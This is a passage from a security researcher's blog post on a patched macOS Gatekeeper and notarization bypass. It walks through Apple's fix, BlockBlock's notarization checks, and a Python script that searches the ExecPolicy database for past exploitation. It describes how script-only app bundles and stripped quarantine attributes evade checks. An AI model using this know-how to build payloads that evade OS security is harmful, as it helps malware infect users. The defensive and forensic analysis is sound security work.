Once off and running, the malware can manually remove the quarantine attribute from any subsequent
payloads or components it downloads. Thus, such items will not be subjected to the aforementioned
security checks (notarization, etc.).

Luckily as discussed below, BlockBlock with “Notarized Mode” enabled, generically blocks this threat:

BlockBlock, block blocking!

The Patch
Apple fixed this bug in macOS 11.3. How? Well recall that the core flaw is in the misclassification of a bare-boned script-based application
as “not a bundle”. As normal script-based application (i.e. ones with an Info.plist file) are classified as a bundle, and trigger the



correct alerting/prompting/blocking logic, it seemed reasonable to assume that Apple would address the flaw simply in the bundle
classification logic.

…and this appears to be exactly the case.

Though the bundle classification logic is located in an unnamed subroutine, it’s trivial to locate it in the new macOS 11.3 syspolicyd
binary. We simply look for cross-references to unique strings (e.g. Versions/Current/Resources/Info.plist) that are found in
the unnamed subroutine in the 11.2 version of syspolicyd.

Once we locate the “same” subroutine in 11.3, we first notice it has been greatly expanded. In fact, the number of code blocks (that indicate
control flow decisions) has expanded from 26 up to 35. Clearly, additional checks were added. Though we won’t comprehensively
deconstruct the entire (updated) algorithm, via static analysis, we can point out some relevant new checks that are responsible for (now)
correctly classifying even applications that don’t have Info.plist files!

First (and most significantly) there is now a check for a path extension of .app …and any item with said extension, will now be correctly
classified as a bundle:

1 pathExtension = [[component pathExtension] lowercaseString];
2 isBundle = [rax isEqualToString:@"app"];

This is important, as this is essentially the only check Finder performs when kicking off the launch of an application. (Recall we created a
folder named foo.app double-clicked it, and observed Finder attempting to launch it).

Also, even if the item does not contain a path component of .app, the new code now checks for presence of Contents/MacOS:

1 bundle = [component URLByAppendingPathComponent:@"Contents/MacOS"];
2 isBundle = doesFileExist(bundle.path);

My guess is macOS likely requires (any, even non-application) bundles to conform to this structure for functionality reasons. This is makes
sense that the “is a bundle” classification algorithm also now checks for structure as well.

The improved algorithm now correctly classifies our bare-bones script-based PoC application as a bundle. This means it’s now subjected to
code paths within syspolicyd that will both display an alert to the user as well as block the application from running (as it is not
notarized).



(correctly) blocked on macOS 11.3

Was this all that was required? It appears so, as a (very) brief triage of other logic within the syspolicyd code, did not reveal any notable
changes.

Protections:
First and foremost the best way to patch against this nasty bug and protect oneself from malware that is currently exploiting it, is to update
to macOS 11.3. Like now! Go do it!

Luckily, if you were running a recent version of BlockBlock (with “Notarization Mode” enabled), you were already protected! '

Version 2.0 of BlockBlock brought a host of improvements, such as native M1 compatibility. Most relevant in the context of today’s blog
post though, was the introduction of “Notarization Mode”:



BlockBlock's Preferences (including Notarization Mode)

The idea is simple: regardless of the system policy setting (or presence of bugs), BlockBlock examines launched processes (and scripts),
and alerts on those that are not notarized. By design there are a few caveats including the fact that BlockBlock only examines user-
launched applications, that have been downloaded from the Internet.

Let’s delve into BlockBlock logic a bit more here:

1. By means of the Endpoint Security Framework, BlockBlock registers an authentication callback (ES_EVENT_TYPE_AUTH_EXEC)
for any new processes:

 1 //endpoint (process) client
 2 @property es_client_t* endpointProcessClient;
 3
 4 ...
 5
 6 //events
 7 es_event_type_t procEvents[] = {ES_EVENT_TYPE_AUTH_EXEC};
 8
 9 //new client
10 // callback will process `ES_EVENT_TYPE_AUTH_EXEC` events
11 es_new_client(&endpointProcessClient, ^(es_client_t *client, const es_message_t *message)
12 {
13   //TODO process event
14 }
15
16 //subscribe
17 es_subscribe(endpointProcessClient, procEvents, sizeof(events)/sizeof(procEvents[0]))

2. When a ES_EVENT_TYPE_AUTH_EXEC event occurs (i.e. when a process has been launched, but before it is allowed to execute),
BlockBlock examines either the process, or if it’s a process executing a script (e.g. /bin/sh) the script. Specifically after confirming
the item (process or script) is running from a translocated location (which means it’s been quarantined, and launched by the user), it
checks if it’s been notarized.

To check if an item has been translocated, one can invoke the private SecTranslocateIsTranslocatedURL API. Whereas to



check if an item is notarized, invoke the SecStaticCodeCheckValidity API with a SecRequirementRef set to “notarized”:

1 SecStaticCodeRef staticCode = NULL;
2 static SecRequirementRef isNotarized = nil;
3
4 SecStaticCodeCreateWithPath(itemPath, kSecCSDefaultFlags, &staticCode);
5 SecRequirementCreateWithString(CFSTR("notarized"), kSecCSDefaultFlags, &isNotarized);
6
7 SecStaticCodeCheckValidity(staticCode, kSecCSDefaultFlags, isNotarized);

3. If the item being launched is translocated and non-notarized, BlockBlock will alert the user, giving them the option to confirm or allow.
For example, here’s the detection and alert when attempting to run our PoC application:

BlockBlock, block blocking!

In the above alert, though macOS (inadvertently) will allow the script to run, BlockBlock has detected it is non-notarized script, and thus
should (likely) be blocked. Though of course, the user is given the option to allow.

To learn more about, or to install BlockBlock, hop over to its page: BlockBlock. It’s 100% free!

BlockBlock is also fully open-source, so you can peruse its source code as well: Source Code.

Detections

I've written a proof of concept Python script to scan for (past) exploitation attempts: 

scan.py

What about (past) detections?

As it appears that this bug has been around since macOS 10.15 (2019), I thought it might be interesting to explore some ideas of detecting
past abuses (…for example malware exploiting it in the wild).



First, recall that we ran three different applications and analyzed their log messages as an initial step in attempting to (somewhat) pinpoint
the bug’s location. For the PoC application (and only for the PoC application), after its (Gatekeeper) evaluation, we saw the following log
message:

“syspolicyd: [com.apple.syspolicy.exec:default] Updating flags:
/Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC, 512”

This log message is printed as part of the code path that (inadvertently) allowed the unsigned, unnotarized PoC application:

1 os_log_impl(__mh_execute_header, r15, 0x1, "Updating flags: %@, %lu", &var_70, 0x16);
2      
3
4 [*(var_E8 + 0x8) updateFlags:rbx forTarget:var_A0];

As shown in the above code, immediately after the message is logged, syspolicyd invokes a method named updateFlags:
forTarget:.

This method belongs to the ExecManagerDatabase call, and is invoked with the flags and the PolicyScanTarget object
representing the evaluee.

Triaging the ExecManagerDatabase's updateFlags: forTarget: method reveals an SQL update statement: @"UPDATE
policy_scan_cache SET flags = ?1 WHERE volume_uuid = ?2 AND object_id = ?3 AND fs_type_name
= ?4";

…and a call into an executeQuery: withBind: withResults method (that executes the SQL query via various sqlite3_*
APIs).

In order to find out what database is updated we can run a file monitor such as macOS’s built-in fs_usage utility:

# fs_usage -w -f filesystem | grep syspolicyd 

...
RdData[S]  D=0x052fdb4a  B=0x1000  /dev/disk1s1 
/private/var/db/SystemPolicyConfiguration/ExecPolicy-wal  syspolicyd.55183      

# file /private/var/db/SystemPolicyConfiguration/ExecPolicy*
/private/var/db/SystemPolicyConfiguration/ExecPolicy: SQLite 3.x database
/private/var/db/SystemPolicyConfiguration/ExecPolicy-shm: data
/private/var/db/SystemPolicyConfiguration/ExecPolicy-wal: SQLite Write-Ahead Log

This reveals an aptly-named database being updated: /private/var/db/SystemPolicyConfiguration/ExecPolicy

If we take a peek at the undocumented policy_scan_cache table in this ExecPolicy database, we can see evaluation results …of
many (every?) item that has been scanned!



Evaluated items in the policy_scan_cache table

Unfortunately the data in the policy_scan_cache table does not contain the path to the evaluated item. However, it turns out the
object_id column contains the inode of the item (on the volume identified in the volume_uuid column).

We can confirm this by looking for our PoC.app. First, we get its inode (via the stat command):

% stat ~/Downloads/PoC.app/Contents/MacOS/PoC 
16777220 121493800  ... /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC

Armed with its inode (121493800), let’s query the ExecPolicy database:

# sqlite3 ExecPolicy

sqlite> .headers on

sqlite> SELECT * FROM policy_scan_cache WHERE object_id = 121493800;

pk|volume_uuid|object_id|fs_type_name|bundle_id|cdhash|team_identifier|signing_identifi
er|policy_match|malware_result|flags|mod_time|timestamp|revocation_check_time|scan_vers
ion

15949|0612A910-2C3C-4B72-9C90-1ED71F3070C3|121493800|apfs|NOT_A_BUNDLE||||7|0|512|16181
94723|1618194723|1618194723|4146150715079370460

Perfect, this confirms that the systems evaluation results of our PoC application was in fact logged to the ExecPolicy database.

Let’s now select all items that have similar values to what we saw in the logs, such as flags of 512 (we’ll also add a few other constraints
such as NOT_A_BUNDLE):

SELECT * FROM policy_scan_cache WHERE flags = 512 AND bundle_id = 'NOT_A_BUNDLE' AND policy_match 
= 7; Result: 183 rows returned in 100ms 

…still a lot. But many are simply legitimate utilities that you’ve downloaded and approved on your system (and thus can be ignored). For
example, on my box there is a row containing the object_id (inode) value of 23503887. This maps to supraudit, an unsigned audit
utility (created by J. Levin) that I had previously downloaded and manually approved/ran:

$ stat /usr/local/bin/supraudit
16777220 23503887 /usr/local/bin/supraudit



Armed with this knowledge we can perhaps uncover successful exploitations of this bug in the following manner:

1. Enumerate the rows in the policy_scan_cache table, filtering on ones that (the policy engine thought were) not a bundle, have
flag value of 0x200 (512).

2. For each result, take its volume_uuid and object_id value. The latter is really the item’s (evaluee’s) inode number.

3. Find the item on the matching volume, via this inode value. How? Well after reading Howard Oakley’s “Open Recent, inodes, and
Bookmarks: How macOS remembers files” I learned the GetFileInfo utility (found in /usr/bin/) can, given a volume and
file inode, return the file’s path: 

GetFileInfo /.vol/<volume inode>/<file inode>

4. In the policy_scan_cache table we noted there are many legitimate applications and utilities (that you’ve download and
approved to run on your system). As such, we need to parse through each item (that we’ve found via its inode), to check if it’s a
suspicious bare-bones script-based application. Specifically we can look for a items with: 

a. An *.app in its path. 

b. A /Contents/MacOS/ subdirectory. 

c. An item (within the Contents/MacOS/ subdirectory) that matches the app’s name and is a script. 

d. Does not contain an Info.plist file.

Find such an item, you’ve more than likely got a malicious item …or at least one that you should take a very close look at! (

Let’s look at an example, using the malware that was exploiting this vulnerability as an 0day.

After running the malware, we notice a new entry in the /private/var/db/SystemPolicyConfiguration/ExecPolicy
database:

# sqlite3 /private/var/db/SystemPolicyConfiguration/ExecPolicy
sqlite> SELECT * FROM policy_scan_cache WHERE flags = 512 AND bundle_id = 
'NOT_A_BUNDLE' AND pk=(SELECT max(pk) FROM policy_scan_cache);

pk|volume_uuid|object_id|fs_type_name|bundle_id|cdhash|team_identifier|signing_identifi
er|policy_match|malware_result|flags|mod_time|timestamp|revocation_check_time|scan_vers
ion

77|0A81F3B1-51D9-3335-B3E3-169C3640360D|12885173338|apfs|NOT_A_BUNDLE||||7|0|512|161835
9929|1618359929|1618359929|4146150715079370460

We then extract the value of the object_id, 12885173338, (which recall is the file’s inode), and use that to locate the file on disk.

# get volume's inode
% stat /
16777220 2 drwxr-xr-x 20 root wheel ...

# get file's (inode: 12885173338) path
% GetFileInfo /.vol/16777220/12885173338
file: "/Users/user/Downloads/yWnBJLaF/1302.app"
...

# its not signed
% codesign -dvvv 1302.app
1302.app: code object is not signed at all

# is a bare-boned application bundle
% find  /Users/user/Downloads/yWnBJLaF/1302.app



1302.app/Contents
1302.app/Contents/MacOS
1302.app/Contents/MacOS/1302

# who's executable component, is a script
% file 1302.app/Contents/MacOS/1302
1302.app/Contents/MacOS/1302: Bourne-Again shell script executable (binary data)

Note that once the file has been located, (in the terminal output above) we confirm it’s an unsigned, bare-boned (no Info.plist) script-
based application! Clearly fits the profile of an item exploiting this bug.

To automate the detection of such (potentially) malicious applications (on the main volume) I’ve created a simple Python script: scan.py.
This script programmatically queries the ExecPolicy database, then processes the results in order to locate any script-based
applications (without an Info.plist file) that have been run

 1 ...
 2
 3 query = "SELECT * FROM policy_scan_cache WHERE volume_uuid = '" + volUUID + "' AND flags = 
512 AND bundle_id = 'NOT_A_BUNDLE'"
 4
 5 connection = sqlite3.connect("/private/var/db/SystemPolicyConfiguration/ExecPolicy")
 6 items = execute_read_query(connection, query)
 7
 8 #scan/parse all items
 9 # looking for file on main volume that
10 # a) is an app bundle
11 # b) is a script-based app bundle
12 # c) is a script-based app bundle, without an Info.plist file
13 for item in items:
14    
15   #get file path from vol & file inode
16   fileURL = Foundation.NSURL.fileURLWithPath_('/.vol/' + str(volInode) + '/' + 
str(item[2]))
17   result, file, error = fileURL.getResourceValue_forKey_error_(None, 
"NSURLCanonicalPathKey", None)
18
19   ...

# python scan.py 
volume inode: 16777220
volume uuid:  0A81F3B1-51D9-3335-B3E3-169C3640360D

opened 'ExecPolicy' database
extracted 183 evaluated items

possible malicious application: /Users/user/Downloads/yWnBJLaF/1302.app

detected 1 possible malicious applications

If the item (malware) is run off a disk image, the system will copy it off the .dmg to translocate
the item before its evaluated. The entry in the database will therefore reference the translocated
item. Unfortunately translocated items are automatically deleted by the system.

As such, the object_id (inode) may reference a file that no longer exists :/

Conclusions



The vast, vast, majority of macOS malware requires some user interaction (such as directly running the actual malicious code) in order to
infect a macOS system. Unfortunately such macOS malware still abounds and everyday countless Mac users are infected.

Since 2007, Apple has sought to protect users from inadvertently infecting themselves if they are tricked into running such malicious code.
This is a good thing as sure, users may be naive, but anybody can make a mistakes. Moreover such protections (specifically notarization
requirements) may now even protect users from advanced supply-chain attacks …and more!

Unfortunately due to subtle logic flaw in macOS, such security mechanisms were proven fully and 100% moot, and as such we’re basically
back to square one …(well, more precisely pre-2007). Yikes!

In this blog post, we started with an unsigned, unnotarized, script-based proof of concept application that could trivially and reliably
sidestep all of macOS’s relevant security mechanisms (File Quarantine, Gatekeeper, and Notarization Requirements) …even on a fully
patched M1 macOS system. Armed with such a capability macOS malware authors could (and are) returning to their proven methods of
targeting and infecting macOS users. Yikes again!

The core of the blog post dug deep into the policy internals of macOS, ultimately revealing a subtle logic flaw. A shown, this flaw can result
in the misclassification of certain applications, and thus would cause the policy engine to skip essential security logic such as alerting the
user and blocking the untrusted application.

After reversing Apple’s update, we highlighted the patch, noting how the classification algorithm was improved. This will now result in the
correct classification of applications (as bundles), and ensure that untrusted, unnotarized applications will (yet again) be blocked, and thus
the user protected.

(correctly) blocked on macOS 11.3

Finally, we wrapped things up first with a brief discussion on protections, most notably highlighting the fact that BlockBlock already
provides sufficient protections …beating out Cupertino ;)



BlockBlock, block blocking!

Interested in enterprise grade protection?

As noted, Jamf Protect already contains detection logic for such threats, and thus was able to
uncover malware exploiting this flaw as a 0day!

Then, we discussed a novel idea aimed at detecting attacks that exploit this flaw, by examining evaluation results logged to the
(undocumented) ExecPolicy database.

To end, a few thoughts…

Though this bug is now patched, it clearly (yet again) illustrates that macOS is not impervious to incredible shallow, yet hugely impactful
flaws. How shallow? Well that fact that a legitimate developer tool (appify) would inadvertently trigger the bug is beyond laughable (and
sad).

And how impactful? Basically macOS security (in the context of evaluating user launched applications, which recall, accounts for the vast
majority of macOS infections) was made wholly moot.

Good thing there are free open-source security tools that can offer an extra (better?) layer of protection!

And maybe one day Apple will stop suing security companies, and instead focus solely on improving the security of their OS. 
…hey, we can all dream, right?!

) Support Me:

Love these blog posts? You can support them via my Patreon page! 
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